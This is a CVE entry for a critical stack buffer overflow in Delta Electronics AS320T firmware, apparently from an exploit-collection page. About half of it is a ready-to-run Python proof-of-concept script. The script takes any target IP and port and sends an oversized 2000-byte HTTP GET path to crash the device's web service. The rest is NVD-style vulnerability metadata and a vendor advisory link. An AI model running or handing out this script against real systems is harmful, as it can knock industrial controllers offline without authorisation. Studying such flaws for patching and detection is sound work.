CVE-2026-1949

#!/usr/bin/env python3 """ PoC for CVE-2026-1949 - Delta Electronics AS320T Stack Buffer Overflow Description: This script sends a malicious GET request to trigger the buffer overflow. Usage: python3 poc.py <target_ip> <target_port> """ import socket import sys def send_exploit(ip, port): # Target configuration # Note: The exact offset needs to be determined through debugging. # This payload sends a large pattern to crash the service. crash_payload = b"A" * 2000 # Constructing the malicious HTTP GET request # The vulnerability resides in the GET/PUT request handler request = b"GET /" + crash_payload + b" HTTP/1.1\r\n" request += b"Host: " + ip.encode() + b"\r\n" request += b"User-Agent: PoC-Client\r\n" request += b"Connection: close\r\n\r\n" try: print(f"[*] Sending payload to {ip}:{port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) s.send(request) s.close() print("[+] Payload sent successfully. Check if the service has crashed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 poc.py <IP> <PORT>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_exploit(target_ip, target_port)

{"cve": {"id": "CVE-2026-1949", "sourceIdentifier": "759f5e80-c8e1-4224-bead-956d7b33c98b", "published": "2026-04-24T06:16:03.883", "lastModified": "2026-05-11T17:42:32.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Delta Electronics AS320T has incorrect calculation of the buffer size on the stack in the GET/PUT request handler of the web service."}], "metrics": {"cvssMetricV31": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-131"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:deltaww:as320t_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.16", "matchCriteriaId": "BC2A0FA6-0941-49B4-BBDD-D4D7E886D4E6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:deltaww:as320t:-:*:*:*:*:*:*:*", "matchCriteriaId": "207554E0-1FF1-4F4A-AE19-C8F77D3A38D9"}]}]}], "references": [{"url": "https://filecenter.deltaww.com/news/download/doc/Delta-PCSA-2026-00006_AS320T%20Multiple%20vulnerabilities%20(CVE-2026-1949,%201950,%201951,%201952).pdf", "source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "tags": ["Vendor Advisory"]}]}}